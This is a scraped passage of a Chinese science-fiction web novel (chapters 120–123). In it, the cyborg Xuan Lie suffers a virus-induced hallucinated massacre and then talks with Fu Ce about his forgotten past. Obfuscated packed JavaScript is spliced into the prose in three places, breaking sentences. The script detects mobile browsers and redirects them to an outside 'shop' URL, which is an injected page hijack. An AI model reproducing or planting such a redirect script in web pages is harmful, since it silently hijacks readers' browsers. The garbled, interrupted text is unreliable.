热浪融化了带电线虫,窒息感如约而至,寒凉冷气从外部侵蚀,酸涩感从眼睛、鼻腔蔓延到喉咙和胃。警报声响起在只有他听得见的脑袋深处,自保系统令他冷静下来的方法是不间断重播他脑子里被刻上幸福与快乐的记忆。 于是玄烈拼力忍耐睁开眼看见的第一个人,是纪凛烛的的投影。 一切都发生得太快,玄烈只以为自己是做了个噩梦。 纪凛烛扎了一条麻花辫垂在肩上,头绳是手帕折成的,洁白的裙子展示这世界上最单纯的颜色。 玄烈想抓住她的手,突然,炮火声又响起了。 太阳一样暴烈的光球从纪凛烛后方袭来,玄烈想说“你快跑”,纪凛烛却无动于衷,玄烈想冲上前挡在纪凛烛身后,他也只无动于衷。 光将玄烈瞳孔映得金亮,点燃了他眼眸暗红色的部分,代表机械没有灵魂的火星使他眼里血雾游动,一双眼红得再也分不清眼仁和眼白。 光球在营造一场震天动地的爆炸后消失了,灰烟散去,纪凛烛依然站在玄烈面前。只不过她浑身是血,皮肤被火焰灼烧溃烂到不是一点好的地方,手绢被燎得剩下一个角,裙摆也烧得乱七八糟。 她哭了,伤心欲绝的眼泪从她满是灰尘和血污的脸颊流淌下来。 玄烈用意识问她:“你怎么了?” 她说好痛。 来自阴曹地府幽魂般的低语在玄烈耳廓响起。 “这不是你的错……为什么舜真不出兵……为什么伏策赶到那么晚……为什么每个人都那么冷漠……” 然后是纪凛烛的声音。 “玄烈……我好冷……好害怕……没有人陪我……我好孤单……我好想你……” “我很快就到了。” 玄烈攥起双拳默念道,库星锥蠢蠢欲动,他感受到了库星锥的能量。那种痛感没有退却,只是他有更重要的事。 “……在那之前,我要让所有人给你陪葬……” 120. 痛觉与梦(3) 所有的能量涌上天灵盖,库星锥在玄烈手中颤抖,眼前景象出现好几层重影,每个人的面孔都在摇晃。 惊恐、慌张和蔑视化作潺潺诡谲的黑气钻入玄烈心口,他看谁都像宿敌。 原始的灵魂敲击着他的身体,要杀戮、要见血、要死亡。猛烈的痛苦和难以平复的冲动交织在他身边,背后空无一物的虚无与前方仇恨堆积的乌合之众让他极度不安。 玄烈扬起库星锥后第一件事是将其深深刺入自己的手掌。 见到鲜血飞溅的那刻,只有掌心的痛苦是真实存在的。 辟开千万般纷杂的苦楚所彰显的最终痛感,才能让他铭记。 另一个玄烈将自己完全吞噬掉,他拔出散发幽暗青玄之气的库星锥,带着血红的眼朝众人冲去。 库星锥锥刃划破空气留下一条清冷的尾焰,舜真向后一撤,伏策抬起大刀替众人拦下这一击。 两刃碰撞没发出大的声响,伏策手中刀刃就被库星锥轻而易举砍了个口子。星点金属迸溅间,玄烈一个转身加横砍就斩断了大刀那形似钢筋的杆。 长刀落地之时,玄烈一脚朝伏策胸口踹去,却被躲开。他早有预感般稳稳落地,将库星锥直冲伏策胸膛扎去。 阿盼不合时宜地跑了上来,不分轻重地抓住了玄烈的手。可想而知,他双手手掌直接被烫掉了一层皮。 他叫了一声,叫声传到玄烈耳朵格外尖锐,他手一挑,便将阿盼下巴划出一条浅浅的道子。 不打他会痛苦,伤了人他更痛苦。玄烈自己也一时分不清现在的他还算不算他自己,也许是当年第一战备的残魂跑了出来。 手再重一点,阿盼的脖子就要被划穿了。 与此同时,一支A级黑寂军小队赶到了现场。 伏策拖着尚且处在懵逼状态的阿盼退到黑寂军身后,顷刻间,黑寂军手中各异长枪开始纷纷放响。 光弹、电弹、火弹,见过的、没见过的子弹一时之间全部朝玄烈飞来,更有尚未触发的电火喷射器在等待登场。 玄烈在弹雨间奔跑、翻滚、单手撑地再高高跃起,落地用库星锥挡开眼前的一颗子弹后,百余枚幻影在他周围一闪一闪出现。 在场人类那见过这幅景象,他们大多只听说过第一战备的传说,全都目瞪口呆看着玄烈如魔术师一般变出如此多的小型库星锥影子。 库星锥在玄烈身前被挥成了花,碰巧在抵挡过一百枚子弹的关口,玄烈单膝“嘭”地狠狠跪在地上,手里锥尖也重重扎在地面。 发丝雾气凝结的露珠与玄烈额角渗出汗水一样的水滴一齐砸落,他爆红的双眼竟显出几分晶莹水润。 再抬头,数百柄小库星锥幻影密密麻麻如针林向众人冲刺而去。 幻影受玄烈操控,无需像枪一样要提前瞄准,玄烈的眼睛就指示它们该往哪里去。 火电与幻影摩擦出绚丽的小型烟火,比子弹射击和炮弹爆燃的声音要好听无数倍。 伏策用剩下的棍子尚且能抵挡两分,但很快也被削得到处是伤。阿盼躲在他身后张口呐喊着什么,玄烈自然听不见。 黑寂军们接连被精准抹了脖子,倒成一片又一片。人类们这时终于想起来要逃跑,一个两个你挤我我挤你一窝蜂涌向两侧不大点的出口。 没有人是例外,被刺穿胸膛的、从耳朵扎进大脑的、腿和手臂被削断的……更美妙的“烟火”在人类身上上演。 玄烈眼里只能看清楚红色,伴着哭喊声求救声的血液四溅使他获得前所未有的痛快之感。 在这帮人中,玄烈幸运地发现了舜停。 他早被舜真流放到海外,此刻竟然出现在这里。 舜真这个人,该狠心时不狠,该善良时却销声匿迹。 玄烈暂时没指示幻影去攻击舜真,可能他动过这一念头,但转瞬即逝了。 彼时舜停正举着一电火喷射枪不要命地对准玄烈。他衣着简陋,披着不知从哪偷来的实验服,胡子拉碴、双眼疲惫,许久不打理的头发长到快垂肩,玄烈忽地想到了向繁森。 “大家别怕!等我、等我杀了这怪物!我还是舜氏的……” 浓厚恨意侵占了玄烈全部的意识,纪凛烛交代给他的话在太阳穴一跳一跳,丰腴的能量快要冲破他的躯体。 玄烈不等他把疯疯癫癫的一句话说完,咬牙蹬地而起。 身体腾空的刹那,玄烈满心满眼只有“杀了他”。他越过凌乱杂沓的地面,移动到精神快崩坏的舜停头顶。 舜停见玄烈自己送上门来,笑得极其猖狂,枪口仰着对准玄烈,晃晃悠悠间按下喷射枪的按钮。 暖烘烘的火焰从下往上炙烤着玄烈鞋底,微弱电流按摩似的给他输送来酥酥麻麻的舒爽之感,舜停的攻击对玄烈来说渺小到比不上一粒尘埃。 垂眼漠视舜停最后目眦尽裂的模样,玄烈将库星锥拖在他的斜后方,手腕与大臂一同施力,库星锥被缓缓举过头顶。 正如神仙审判罪人那般,玄烈手用劲向舜停一甩,库星锥就如天降圣戟燃着蓝色的火刺向舜停的心口。 锥尖刺破皮肉的声音比幻影更更来得实在,玄烈期待着库星锥直接扎穿舜停身体,在他身上留下一条窄长窄长的血窟。 可惜没有,库星锥只刺进去一半就不再动了。直到舜停直挺挺倒下,库星锥都不再深入半分。 玄烈疑惑着,重心一倒,险些摔下去。 脑袋是空的,他发现自己居然在飞。鞋底不知何时生出磁片一样的底板,玄烈甚至都不需要发力,脚下自然有无形的托力让他平顺立着。 周围幸存的人们无不惊惧万分地东躲西藏,他们顾不得门口已经出现了踩踏事故,一些黑寂军端着武器要往进走,里面的人们发了疯想要往出逃。 舜真站在一地黑寂军破碎的肢体和滩滩鲜血中央,抬头看着玄烈。 她的眼睛不带害怕、担心、愤恨或是任何一种情绪,她就这样平静地看着他。 一如二十年前。 她甚至期待玄烈做出不一样的反应,比如将刀尖对准她。 舜真是唯一到现在还敢看着他的人。韶赋修倒是没走,他背对着这场打斗,独自坐在破掉的窗口处,还全神贯注地望着天空。 窗外有更多斩翼军飞来,它们围成了一堵密实的墙,堵住了韶赋修仰望月亮的视线。 出乎人意料的,韶赋修没有发作。他长长叹了口气,选择闭上眼睛凝视他心里的月亮。 所谓的快感很快就失去了踪影,玄烈越发烦躁。 掌心的痛掩盖不住身体其他地方的疼痛了,他轻轻落了地。库星锥抽离出舜停的尸体,带着肮脏的血回归到玄烈手里。 阿烛知道会开心的吧。玄烈嘴角泛起一丝艰涩的笑。 真的会开心吗? 浑浊与不安间,玄烈唯一听得清的只剩纪凛烛的声音。他听到她在叫他。 ——玄烈,杀舜停的理由是什么? ——他做了坏事,该死。 ——什么坏事? ——他残害生命。 ——那么你在做什么?玄烈,你做了什么? 我……做了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吐血吐得太频繁了,流血也流得太频繁了,玄烈双手自责地死力抠着平滑的地板。明明他无法在地上留下指甲痕,他却还是努力去抠。抠着抠着就指尖也流出血来。 玄烈不在意指尖这点血和疼痛,他在意的是面前那一滩血和身上数不尽的伤口。 他怕是已经将体内纪凛烛的血全部都流完了,纵使他胃翻涌不息还想吐点什么,却什么都吐不出来。 纪凛烛最后给他的照拂没有了,今天过后,玄烈不折不扣变成了孤孤单单的一个人。 前方忽有人影靠近,玄烈尚未反应过来,被病毒驱使的身体就替他做出了决定。 库星锥自然而然回到手里,玄烈腾地站起,端着库星锥便朝对方捅去。 伏策是因为看穿了玄烈的痛苦而前来想要扶他起身,被玄烈袭击时他甚至来不及捡起地上断掉的刀。 锥尖离眼睛只剩两厘米距离,伏策赶忙后仰躲过攻击。他一个侧滚翻,起身第一件事是后旋踢踹翻玄烈手里的库星锥。 可惜他位置不好,断刀抢先一步被着了魔的玄烈捡起。玄烈眼眸还舞动着暴虐的火苗,他不给伏策喘息的机会,悠着大刀就朝伏策劈砍而来。 大刀重而碍事,每一击都需要卯足力气,玄烈步步紧逼着不给伏策逃跑的空间,他身体和大刀合在一起就快旋转成陀螺,带着实打实的力量,带着势必一击致命的自信,挥出威声滔天的风浪。 伏策没有能躲避的地方了,那豁了口的刀刃横上他脖颈的那一刹那,他终于明白了自己的宿命。 “你还要像二十年前那样杀我一回吗?!” 121. 痛觉与梦(4) “嘭”的一声,断刀砸在地上,震感传递了上下近六层楼。 伏策喘息声沉重,玄烈就在他一呼一吸间仰面摔倒在地上。 一点力气也没有了,病毒想操控就随它去吧。玄烈眼睛发酸发痛,鼻梁也像是被砸了一拳,天花板上灯光昏黄,在他眼前不停打转。 腰腹间一阵阵拧痛,玄烈心里一沉,赶紧摸向腹间的旋钮。旋钮果然在松动,跟着发抖的地面一起摇荡发力。 他尽力让自己稳定地仰视着天,发软的手则掐着旋钮往反方向移动。 眼角有湿乎乎的液体滑落,玄烈只央求不要是血什么的。 不要再变了,变再强也只会被恶人当枪使。玄烈怨恨这样的他自己,恨不得直接让韶赋修把推杆推向极致,让他爆体而亡算了。 可不管玄烈把牙齿咬碎了就无法阻止旋钮的运转,他的手只能眼睁睁被命运推着走。 “咔”的一下,旋钮来到了血泪酿成的第七档。 震颤还在持续,玄烈整个人贴在地面上也跟随其颠来倒去。 眼前似乎渐渐变暗了,耳边也越发嘈杂起来。听起来很奇怪,闷闷的,像是和他隔了有一个世纪那么远。 他勉强撑地坐起来,面前的景象一卡一卡的,都拉丝了。惨白的光闪烁,灯管破裂、地砖稀碎,许多他没见过的人争相逃亡。世界就如一座即将沦陷的地狱,所有人看他都当在看怪物。 除了一个人。 一个照片上见过的少女,白色实验服、白色帆布鞋,因激动而脸颊泛出浓郁的红色。她哭喊着叫着他的名字,手不停在向这边挥舞,脚都跺碎了也无法朝这边靠近半分,因为有个人在拼命拦着她。 玄烈第一反应是想说,人们总管舜延叫老董事长,但那时他也不过四五十岁而已,哪有说的那么老。 抱着女儿的手臂还能显出肌肉线条,半白的头发被汗水浸湿,随意捋到脑后。他没有高高在上的西装革履,也没有事事追求作为老板的做派,灾难来临这一刻,他只是一个再平常不过的父亲。 舜真嘴里不停呼喊着玄烈,口型却不是“玄烈”的样子,他辨认不出来。 他手里还拿着那沾满血肉的巨型砍刀,身后是惨死在他手下的生命,他尽力回头去看,看到了躺在人类血泊中的伏策。 他脖子断了一半,正像那日神庙初见,双眼紧闭,遗憾沉睡二十年。 玄烈面前是出口,后方还未早于他毒手的人无处可躲,不得不铤而走险路过他身旁跑向出口。 混乱间他恍惚听见有婴儿哭声。循声望去,他看到一个也穿着实验服的女人抱着一襁褓跟着人群往出冲。 跑过玄烈身边时,女人有意停下来看了玄烈一眼。 那绝不是代表着冷漠,微亮眼眸中积蓄了盈盈泪水,扎的辫子散了一半,身上脸上土哄哄的,孩子在她怀抱中哭闹不停。 玄烈突然想起来这就是曾将一个黑色小盒子放在他手里的女人! 可能是害怕孩子的哭声会进一步激怒玄烈,女人赶忙捂起孩子的嘴,头也不回地朝远方跑去。 这么小的孩子在这样炮火连天世界动荡的地方,听力会受损的吧。 有种神奇的魔力一般,玄烈竟失魂落魄想要跟上去。 女人见他跟来了,便尖叫着跑得越发快了。玄烈也跟得越来越着急,他击破地想问,问那孩子叫什么名字。 忽然,画面被切断了。 倾泻的回忆被蛮不讲理地制止,玄烈感觉差一点就要知道真相了,他不免气得气血上涌。 韶赋修的声音响起了,玄烈轻轻动一下脑袋都疼到快要裂开,他意识到他还躺在地上,躺在二十年后的舜氏大厦里。 “……小真,我不希望你走舜延的老路,永璃岛需要更强大的力量掌管才能变好,舜氏也一样……” 脚步声从外面哐哐哐砸进来,玄烈意外竟然有人还不怕死地往进闯。 “韶赋修!”杨宁见韶赋修第一刹那就奋不顾身冲了上去。 “你见到潼霜了吧!她、她还好吗……她有没有受伤!” 韶赋修隐约笑了一声,“如果她死了,你也会跟着寻死吗?” 听到韶赋修问了这么莫名其妙的一句,杨宁一时间说不出话来。紧接着,韶赋修又跟上了一句,“托她自己的福,只是腿被炸伤了。你想见她吗?那就加入涂云,我保你日日能见到她,省得你饱受相思之苦……” “不需要,”杨宁打断了韶赋修的话,“她是生是死,和我无关。” 韶赋修没有应答杨宁的嘴硬,而是饶过他与舜真对话。 “十分钟后舜氏全体职员大概都会收到涂云发来的邀请函。至于你,我理解你想捍卫这里的心,但我不觉得这里继续由你们掌管是什么好事。我不像潼霜那样死板,我给你三十天。三十天后,芯片和你的让权书,我都要。” 玄烈眼神空洞地望着天花板,他在等待舜真一句不屑的哼笑,但舜真没有做出任何回答。 这下他无论怎样也要忍着疼痛爬起来看看场面是怎么一回事。 结果玄烈刚硬撑起脑袋,韶赋修便从窗台边缘直直倒了下去。几百架斩翼军纷纷跟着俯冲下去,玄烈听到一阵风声直坠谷底,却没了后续。 韶赋修走了,准确来说是消失了。大概是病毒启动器被关闭了,在晕眩前,玄烈支着身子想要看清楚这里究竟被他祸祸成了什么样子,结果却让他后背发凉。 和方才他经历的场景不一样,没有遍地的血,没有惨死的人们,只有倒得乱七八糟的黑寂军。场中仅有的血是他吐的,也没有模糊视线中的那么大一片。 程炼不在现场,与脚步声对应的杨宁也是才赶到。舜真脖子上没有围水墨色纱巾,阿盼也不在现场。黑寂军发射的只是普通子弹,所谓他身上擦过的激光烧痕也只是淡淡一条不见血的划痕。 就连被他杀掉的舜停也是假的,那也只不过是一只普普通通的黑寂军,被他的库星锥大卸了八块,并非他记忆中刺一半刺不动的景象。 他没有完成纪凛烛的心愿。但也松了口气,他一时半会还没成为被纪凛烛痛恨的那种残害生灵的人。 玄烈松懈手臂的力气,再次仰面躺倒。 伏策从他后方走来,蹲在他面前,“你太累了,睡一会吧。” 阿盼这时才穿过人群和一地碎片跑过来扑到玄烈身上,边大力摇晃着玄烈的肩膀边一个劲问:“你有没有事?” 本就晕得七荤八素的玄烈被这么一摇,脆弱的身子骨快散架了。他张嘴想说什么,阿盼始终没给他机会,还是摇个不停。 “等等等等!他要说话!”伏策按住阿盼的手,“你要说什么?” 阿盼将耳朵贴到玄烈嘴边。 好半天,玄烈才虚弱地吐出一句:“好吵。” 玄烈感觉身体哪里都是痛的,痛到他难以呼吸、难以平静。每当想集中注意力感受到底是哪里痛的时候,痛苦就会偷偷地迅速转移,怎么也找不见。 好像身体里哪个零件坏掉了,不是突然坏掉的,像是从内里开始腐坏的,一点点,折磨着。 他时常无比振奋,时常又莫名颓废,他自我感觉脑电波已经变成一条无悲无喜的单线条,变成一潭死水。 他耳朵不好,越来越不好了。本来眼睛还是看得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191393|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见颜色的,现在又几乎看不见了。 怎么越升级反而越向没有灵魂的铁盒子靠近呢? 脸那么僵硬,笑比不笑更难看。表情系统又坏掉了,找谁修呢? 玄烈无时无刻不在想她。 绝境给予了他制造梦境的能力,他能够通过连接回忆再计算未来,在梦里编织出她的模样。 时而秋风萧瑟,时而夏夜薄雨,瞬息之间一年四季都游遍了。光影扑朔,轻烟围城,从青苔密布的石阶跨上燥尘飞扬的黄土路,喝她幼时林瑀常带她去喝的绿豆汤,吃她小学门口那家最著名的鸡蛋糕。 缱清州不是什么科技经济发达的地方,和永璃岛相比落后不止一点点,和哉徉岛比起来更是陈旧到就像原始社会。 玄烈一点都不觉得烦闷。他愿意和她重游母校,两人坐在空荡荡的食堂里,她高兴地喝了一口醪糟粥,说阿姨手艺进步太多了,她竟然有点想念以前吃粥能吃出来钢丝球的日子。 今天她又穿着漂亮的裙子,没有把头发扎起来,就那样背光飘扬着,可惜看不见她的笑。 明天,明天一定能看到的。 她说:“玄烈!咱们去吃冰!” 玄烈说:“好。” 他再也不想睁眼了。 葬礼那天,没有人通知玄烈参加。 玄烈唯一知道的,就是衣冠冢设在了珣魑山旁的向日葵海边。 他们都识相地避开他走,在背后骂他是科技造就的披着人皮的怪物,对他的痛恨程度不比韶赋修和潼霜差。 其实那天玄烈身边有几只幻影库星锥从门口飞出去了,轻伤重伤加起来也有几十号人。 不敢直面招惹玄烈,他们就将矛头对准到舜真身上,但目前还没对舜真的地位造成什么实质性影响,因为他们还要靠舜真先将玄烈扳倒。 阿盼总说要来陪玄烈拉呱扯皮说废话,但日子一天又一天过去,玄烈始终没见着阿盼的影子,只有偶尔发来的几条韶赋修新动向的小道消息和问候。 修养的这几天里玄烈只见了向繁森一个人,他负责代替忙到焦头烂额的杨宁,担任了督促玄烈喝各种各类药物的任务。 以至于玄烈最近做梦喝的绿豆汤都一股消毒水味儿。 阿盼屏幕里跟玄烈聊的都是些没用的天,那些八竿子打不着的谣言被不知道什么人捏合到一起,据说还有传韶赋修其实是女人的不着调新闻。向繁森知道玄烈听不进去这些冷笑话,便想方设法拣点有意思的消息给玄烈讲。 比如所谓舜停被舜真送到海外拘禁的消息是假的。 “一开始是打算这么干的,但他自己受不了,半路就服毒了。但送行的人怕他死不踏实,就补了几枪。” 比如那天韶赋修为何消失了往日的威风,染上了神经兮兮对月亮发呆的毛病。 “据说,那天是潼氏大小姐的忌日。” 怪不得他要问杨宁那个问题。 再比如第三碎片复刻版的制作已经在收尾阶段,他们保准能在一个月内把成品放到舜真面前。 还比如,韶赋修的涂云集团和永璃岛当局实现初步合作,神庙很快要被推翻了。 还有…… “你这是在给他压力。” 不知什么时候,伏策出现在门口。 玄烈背对着他坐在病床上,向繁森在他眼前晃来晃去调配药物。被伏策这么一说,向繁森有点不高兴,但他没说什么。 “走吧,你需要去晒晒太阳。” 玄烈扭头看到伏策手里提着两瓶含酒精的高级营养剂,伏策冲他歪头扬扬下巴。 “我也顺便给你讲讲,他的故事。” 122. 无署名(1) 午夜沉寂,微风卷席着夏夜难耐的焦躁与虚浮消失于天际。 黑暗是能让人安静的颜色。安静点好,安静点能想明白很多事情。 “还有多久?你的生日。” 伏策撬开营养剂的盖子,气体外泄,液体翻起的白色泡沫险些从瓶口处涌出来。 舜真曾说要建的那个长满藤蔓的长廊一时半会建不好了,喷泉和原有的廊架也被拆得七零八落。他们两个坐在仅剩的一条落满灰尘的长椅上,再怎么仰头也看不到被云层遮住的星辰和月亮。 “还有十天。” 玄烈盘算了一阵,才回答。 按照半真半假的档案来算,十天后,六月十七日,玄烈就正好二十岁了。 伏策把其中一瓶营养剂递给玄烈,“我也是听阿盼说,才知道你对茉莉花茶过敏。机械体生活区被隔离起来了,这里买不到茉莉花茶,你将就喝这个吧。” “酒真的能喝醉吗?”玄烈接过瓶子问。他仰头喝了一口,辛辣感差点让他直接吐出来。 “应该不行吧,”伏策倒是挺诚实,“酒精会麻痹和延缓一些系统和程序的运行,让机器人变得麻木、迟钝、反应慢,仅此而已。不过我们以前都喝这个。” “他也喝吗?”玄烈问。 “嗯,”伏策低头盯着瓶子应了一声,“至少不会喝茶就喝晕了。这一点你和他还挺不一样的。” 玄烈沉默了。他对他们口中的“他”一无所知,伏策要是不说,他连从哪里问起都不知道。 他没对伏策的隐瞒有什么不满,这年头,实话实说才是大傻子。 “你一直都记得吗?”片刻,玄烈又补了两个字,“所有。” “也不是,”伏策大灌一口,几乎吞掉了大半瓶。他愣了一下,想了想自己还是买少了,“从那次咱们俩打完架后,一点点想起来的吧。但很可惜,最重要的一点我怎么都想不起来了。” “什么?”玄烈问。 伏策望向玄烈,“他的名字。” “……我一开始觉得你们长得不像,但随着慢慢把事情都记起来,我才发现,你们已经不能用长得像来形容了。” 伏策说时,天上的阴云渐渐散开,将完整的一片辽阔的天展露出来。唯有弯弯明月高挂在夜幕下,今天不巧,没有一颗星肯出来营业。 “头发不一样、眼睛不一样……”玄烈低声念叨着他们之间究竟有多少不同。 “再怎么说我们也朝夕相处十几年,我比谁都更熟悉,”伏策说,“所以你们这一点差距,在我看来一点影响都没有。我起初不能说服自己,可后来更没办法让自己不相信……其实,当我确定地和你说你不是他的时候,我已经无比确认你们就是同一个人了。” 喝酒精饮料会让伏策变成话痨,玄烈听他絮絮叨叨说了半天,却一点不觉得烦闷。 “……我宁愿相信,也只愿意相信,你是失忆了。” 伏策干完手里那瓶饮料,一副不过瘾的样子,玄烈便把他那瓶也给了伏策。伏策也没推脱,欣欣然接了过来。 “所以你一而再,再而三阻挡着我,甚至不惜自己承担这些名目和任务也都只是为了……”一抹残忍堵在心尖,玄烈有点说不出口,“保全我?” “我依然还记得你我再次见面的那一天,你拦着我,叫我不要攻击潼氏的那对兄弟……你说他们,是朋友。” 尾音若有似无地延长游走又归于虚无,伏策放下手里只剩一点点营养剂在晃荡的瓶子,像是落寞起来。他的大刀被折断拆解,无法收回成原来的形状,所以后背形成了空空的一块。 玄烈自然不懂这其中的意味,他没有发问没有回应,他知道伏策还有话要说。 “很久以前就是这样。他朋友很多,甚至见过两面说得上话的就都能称之为朋友。但我不是,前后能说上话的也就那么几个人,大多还是除公事公办外没什么交集,甚至不能算朋友……” 说到这里他浅浅又抿了一口营养剂,但没舍得都喝完,始终留下一点点。 “他说应该多去和不同的人交流,他觉得那样很有趣,可我觉得很费劲,也没有必要,”伏策突然对着玄烈说,“虽然你现在变得不那么爱说话了,但我觉得,你们本质上还是一样的。你不会变,兜了一大圈换了个身份,还是一样的。” 伏策话音刚落,耳畔的通讯音就吵闹起来。玄烈还未想好怎么回复伏策的话,就被吵得不得不先接通这边。 向繁森慵懒的声音从里面传出,他那边很安静,安静到凸显出他们这里风声有多么浓烈。 “啊玄烈,我刚才看伏策只拿了两瓶营养剂啊,扣扣巴巴的,你们够不够喝啊用不用我给你们送点上去?” 玄烈暂且把他的话放到了一边,“这么晚还没休息……” 他这边没说完,身后脚步声就“哒哒哒”响起了,同时伴有玻璃瓶乒乓打架的声音。 向繁森笑盈盈的脸从楼梯边升起,他兴致勃勃地将两提各色各味的酒精营养剂举过头顶,他手腕的每一次颤抖都让玻璃瓶风铃一般在风里震动得清脆响亮。 “你杨叔见天干点没脑子的事,现在除了我,谁还给你又当爹又当妈呀!” 向繁森“咣”地一下把两提瓶子拍在玄烈的伏策身前,十分神气。 玄烈没心思喝这些辛辣的香精饮料,他只淡淡地说:“酒精太多对身体不好,我真的可以喝这么多吗?” 向繁森大方地摆摆手,“不是给你喝的,是让他喝的!”他指了指伏策,“喝多了就好好睡一觉、长长久久地睡一觉,别大晚上把你叫到这里吹风,脑子会吹傻的!” 到这里,向繁森故意做鬼脸戳了戳自己的脑袋,模样滑稽搞笑,再配合他本就稀烂的嗓子,玄烈竟被他逗笑了。 “哎呀好啦,开玩笑的,”向繁森拍了拍手里的灰转身要走,“少喝点没事,你自己把握度,我先回去睡了,你们别聊太晚啊,睡不好觉怎么面对那么多明天啊……” 小老头似的,向繁森边念叨边背着手走远了。等到他脑袋消失在拐角,伏策才舍得干掉瓶里的营养剂。 玄烈挑了瓶淡粉色的液体,拿起来晃了晃。至少从颜色上来看这一瓶威力不大,他自信满满喝了一大口,险些被辣翻过去。 看着玄烈面露难色咳嗽不止皱皱巴巴的模样,伏策大笑起来,“这个我知道,是辣椒味的!” 玄烈慌张抹了抹嘴边残余的可怕水滴,突然想到一件重要的事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210639|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“二十年前,他有孩子吗?” “谁?”伏策抓起玄烈那瓶辣椒水,小酌了一口。 玄烈微微摇动脑袋指着向繁森离开的方位,眼神暗示着。 瓶子仍举在嘴边,伏策陷入了沉思,“他成家了?” “没有吗?” “我不记得了。”伏策缓缓地说。 “那他以前嗓子也这样吗?”玄烈接着问。 “没有,”伏策摇摇头,“这点可以确定,直到他离开这里的时候都没有。” “离开这里?什么时候?”玄烈全然失去了吹风的心情,现在只想能多知道一点是一点。 “第二战备的研发曾经因为他出现过事故。” 伏策漆黑的眼眸在夜色里晶亮得如一颗璀璨的珍珠,他冷眼看着玄烈,尽管这冷眼或许不是伏策有意为之的表情,玄烈却还是觉得自己面前一片迷雾未消,就又被一片乌蒙蒙的黑云围住。 “……因为他,第二战备后续无法作为一个整体来运行,无法合成一架机械体,更不用说完全体了,”伏策一字一句说着,玄烈听得脸色比灌辣椒水还难看,“好像是战争的一年前发生的,后来他就离开了舜氏。” 玄烈静静地听,伏策说话的功夫已经将辣椒水喝完了。 “那第二战备现在……” “大概率不在舜氏,”伏策说,“不能成型之后一段时间研发就停滞了,再以后,据说老董事长找到了能够继续发展第二战备的方法,但那时第二战备就变成了机密项目,我触碰不到了。” 那当时那个小盒子…… 一阵风穿过,如一柄剑把玄烈前身后背贯穿通透,好一阵发凉。 那段记忆是事故前还是事故后发生的?玄烈想不通。 “叮咚”一声,后台消息提示音响起。这一声无异于给沉睡的他泼了盆冰水,玄烈从沉寂中惊地一跳。 “怎么了?”伏策问。 “有条消息……”玄烈说着,点开了收信箱,“有点,奇怪……” “什么意思?”伏策看玄烈魔怔了一样。 玄烈失措地抬起头,“没什么,是一封舜氏机械体内部通讯接口的信。但是没有署名,是定时信。” “内部?谁会给你写信啊?”伏策不明白。 玄烈也不明白,信箱中,除了这封新鲜出炉的信件,唯一一封还是当时仪琅发来的信。 “快看看快看看。”伏策推搡着玄烈。 “好好……” 玄烈没忘“绕路”,生怕一点开里面会蹦出来什么奇怪的东西,他做好了十足的防护准备,稍有不慎就把信连信封一起销毁。 但结果和他所想的不太一样,一打开密密麻麻满篇全都是文字。看到内容的一刻,玄烈心仿佛空了一块。他稍微放下戒心和乱七八糟的心绪,开始认真阅读。 这一读就是半天,伏策把一提营养剂都喝完了,玄烈还呆愣愣地读信中。 “哎、哎。”伏策拍了几下玄烈,对方毫无反应,他紧接着选择双手抓住其肩膀,开始大力摇动。 “玄烈、玄烈!” “啊?”玄烈渐渐缓过神来,好像魂魄都被那信吸走了。 “你看见什么了?”伏策问。 123. 无署名(2) “你喝不喝?”伏策把一瓶黑色的饮料递到玄烈面前,“这个是甜的。” 玄烈也只无言接了过来,一句话不说。伏策有点纳闷,他脸颊红扑扑的,风吹得他眼睛睁不开,板着脸的时候就像在生闷气。 “你记得吗,以前咱们俩有一个一样的愿望……”伏策又开始絮叨了,“就是能睡在风里。困的时候身体就会自然而然飘起来,做梦也在飞,醒了就落地,不管怎样都是在前进。你说你害怕停下来。” “是吗……”玄烈遥望着无边黑夜。 “对了,我看见你飞了,”伏策笑了起来,“怎么样?感觉还不错吧?” 不说都忘了。玄烈翘起腿,脚下却沉甸甸的,怎么都不像能飞的样子,“我还以为是在做梦。” “来!”伏策腾地从椅子上跳起来,伸出手招呼玄烈,“之前是你教我飞的,我终于也能教你一回了。” 玄烈跟着站起来,在伏策的指挥下手心乖乖贴着腿边,双脚分成肩宽,挺立着,像个听话的小孩。 “脚后跟轻轻离开地面,驱使能量往天灵盖走,你想着飞,你就能飞起来了!” “真的……吗?”玄烈试了半天,却还是稳墩墩站在地上。 “真的呀……”伏策笑里夹杂着几分苦涩,“你之前就是这么教我的啊。不过那时候你忙吧……和我说了这么一句之后就跑去巡逻了,是我自己一直学一直练,才慢慢学会的。不怕,你肯定也能学会。” 说着,伏策就猎豹一样冲上来。玄烈被吓得耸了下肩,伏策抓起他的肩膀就将他带得一跃登上了天。 玄烈仍停留在那日韶赋修拿他像玩偶一样随意揪着飞过天空,不免还有点心理阴影。 “你放松点!别那么僵啊!你相信我!” 伏策喊着,手里力度增加了几分,直到掐得玄烈肩膀吃痛,玄烈才有了安全感。 